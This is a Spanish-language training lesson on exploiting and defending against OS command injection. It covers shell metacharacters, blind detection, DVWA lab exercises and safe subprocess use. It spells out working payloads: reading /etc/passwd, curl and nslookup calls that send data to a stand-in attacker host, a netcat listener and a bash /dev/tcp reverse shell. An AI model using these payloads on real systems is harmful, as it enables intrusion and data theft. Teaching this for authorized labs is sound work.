Parte: 4 — Seguridad de aplicaciones web · Fuente: The Web Application Hacker's Handbook (Stuttard & Pinto) ⏱️ Duración estimada: 100 min · Nivel: Avanzado
Explotar la inyección de comandos del SO (OS command injection): cuando una aplicación pasa entrada del usuario a un shell del sistema, un atacante puede ejecutar comandos arbitrarios. Es una de las vulnerabilidades de mayor impacto porque suele derivar en ejecución remota de código (RCE).
⚠️ Ética: RCE es de máximo impacto. Practica exclusivamente en DVWA, PortSwigger labs o entornos con autorización escrita. Ejecutar comandos en sistemas ajenos es un delito grave.
Al finalizar, el alumno podrá:
;, |, &&, $()).| # | Tema | Por qué importa |
|---|---|---|
| 1 | Cómo el input llega al shell | Causa raíz del fallo |
| 2 | Metacaracteres de encadenado | Herramienta básica de explotación |
| 3 | Command injection ciega | Sin salida visible |
| 4 | Detección temporal y OOB | Confirmar sin ver output |
| 5 | Reverse shell en lab | Demostrar impacto real |
| 6 | Diferencias Linux/Windows | Sintaxis del shell varía |
| 7 | Defensa: evitar system(), allowlists | Cierre del fallo |
La inyección de comandos del sistema operativo es de las vulnerabilidades más graves porque su
consecuencia directa es la ejecución de código en el servidor (RCE): el atacante deja de
manipular la aplicación y pasa a controlar la máquina que la aloja. Ocurre cuando la aplicación
toma entrada del usuario y la incorpora a un comando del sistema que ejecuta —por ejemplo,
una función que llama a ping, nslookup, convert o cualquier utilidad del sistema pasándole
un argumento que viene del usuario—. Si ese argumento no se controla, el atacante añade sus
propios comandos. Es la misma causa raíz que la SQLi —datos que cruzan a un intérprete— pero
el intérprete aquí es la shell del sistema, y por eso el impacto es máximo.
La shell interpreta ciertos caracteres como separadores o encadenadores de comandos, y son
la munición del ataque. ; ejecuta un comando tras otro; | conecta la salida de uno con la
entrada del siguiente; && y || ejecutan condicionalmente; y los backticks `...` o
$(...) ejecutan un comando y sustituyen su resultado. Si una aplicación construye
ping -c 1 " + entrada y el usuario envía 8.8.8.8; cat /etc/passwd, la shell ejecuta el ping
y después el cat. Reconocer estos metacaracteres es entender de un vistazo cómo se
inyecta un comando.
Como en SQL, muchas veces la aplicación ejecuta el comando pero no muestra su salida. Ahí se
aplica exactamente la misma lógica de la clase 092. Para confirmar que hay inyección sin ver
nada, se usa el retardo: inyectar ; sleep 5 (Linux) o & timeout 5 (Windows) y observar si
la respuesta tarda cinco segundos de más. Para extraer datos, se usa el canal
out-of-band: hacer que el servidor ejecute nslookup $(whoami).atacante.com o curl
http://atacante.com/$(cat secreto), de modo que el dato viaje en el nombre DNS o en la URL hacia
un servidor del atacante. Estas técnicas ciegas son las que encuentran las inyecciones que un
vistazo rápido pasaría por alto.
Los detalles cambian entre Linux y Windows: distintos comandos (cat vs type, id vs
whoami), distinta sintaxis de encadenado y distintas rutas, así que identificar el sistema
operativo subyacente orienta el ataque. En un laboratorio autorizado, el objetivo final suele ser
una reverse shell (clase 073) que dé acceso interactivo. Pero el mensaje central de la clase
es la defensa, y aquí es tajante: la solución no es filtrar metacaracteres —siempre se
encuentra una forma de evadir el filtro—, sino no invocar la shell en absoluto. La causa raíz
es usar funciones como system(), exec() o os.system() que pasan una cadena a la shell; la
alternativa segura es usar APIs que ejecutan un programa con sus argumentos como una lista
(subprocess.run([...], shell=False) en Python, execFile en Node), de modo que la entrada del
usuario es siempre un argumento y nunca puede convertirse en un comando. Complementado con
allowlists de valores permitidos cuando de verdad hay que llamar a un programa externo, esto
elimina la clase entera de fallo, igual que las consultas parametrizadas eliminan la SQLi.
;, &&, |, `, $()). Característica: rompe el comando previsto.sleep o nslookup.| Término | Definición concisa |
|---|---|
| Inyección de comandos | Entrada del usuario ejecutada como comando del sistema |
| RCE | Ejecución remota de código; el impacto de esta clase |
| Shell del sistema | Intérprete al que llega la entrada sin controlar |
| Metacaracter | ; && backtick $() y la barra vertical; encadenan o sustituyen comandos |
system() / exec() |
Funciones que pasan una cadena a la shell; la causa raíz |
| Inyección ciega | El comando se ejecuta pero no se ve la salida |
| Confirmación por tiempo | sleep/timeout para detectar sin ver la salida |
| Out-of-band | Exfiltrar por DNS/HTTP a un servidor del atacante |
| Reverse shell | Acceso interactivo obtenido tras el RCE |
| Diferencias Linux/Windows | Comandos y sintaxis distintos según el SO |
| shell=False | Ejecutar con argumentos como lista, sin invocar la shell |
| execFile / subprocess | APIs que separan programa y argumentos |
| Allowlist | Lista de valores permitidos cuando hay que llamar a un programa |
| No filtrar, no invocar | La defensa: evitar la shell, no perseguir metacaracteres |
# En tu máquina atacante (lab): escuchar
nc -lvnp 4444
⚠️ Solo en DVWA/labs propios y aislados.
127.0.0.1) y observa el ping.127.0.0.1; whoami y verifica que se ejecuta.| id, && uname -a, $(id).127.0.0.1; sleep 5.127.0.0.1; nslookup $(whoami).tu-collaborator y observa la interacción DNS.127.0.0.1; bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
&, %COMPUTERNAME% o %USERNAME%).subprocess con lista de argumentos (sin shell=True).Consigue ejecución de comandos en DVWA nivel Medium (que filtra algunos caracteres) evadiendo el filtro, y demuestra el acceso listando /etc/passwd.
Criterio de aceptación: entregas el payload que evade el filtro, la evidencia de lectura de /etc/passwd y la corrección de código que eliminaría la vulnerabilidad.
| Síntoma / mensaje | Causa y cómo arreglar |
|---|---|
| El separador se filtra | Nivel Medium bloquea ;/&&; prueba \| o encoding |
| No hay salida | Inyección ciega; usa tiempo u OOB |
| Reverse shell no conecta | Firewall/NAT del lab; revisa IP y puerto |
| Comando no existe en Windows | Sintaxis distinta; usa comandos nativos |
| Falso positivo por latencia | Repite la prueba de sleep varias veces |
❓ ¿Por qué es tan grave? Porque ejecutar comandos suele equivaler a controlar el servidor (RCE), el peor escenario posible.
❓ ¿shell=True es el problema?
A menudo sí. Pasar input a un shell es la causa. Usa APIs que reciban argumentos como lista, sin intérprete de shell.
❓ ¿Escapar caracteres basta? Es frágil. Mejor evitar el shell por completo y validar con allowlists estrictas.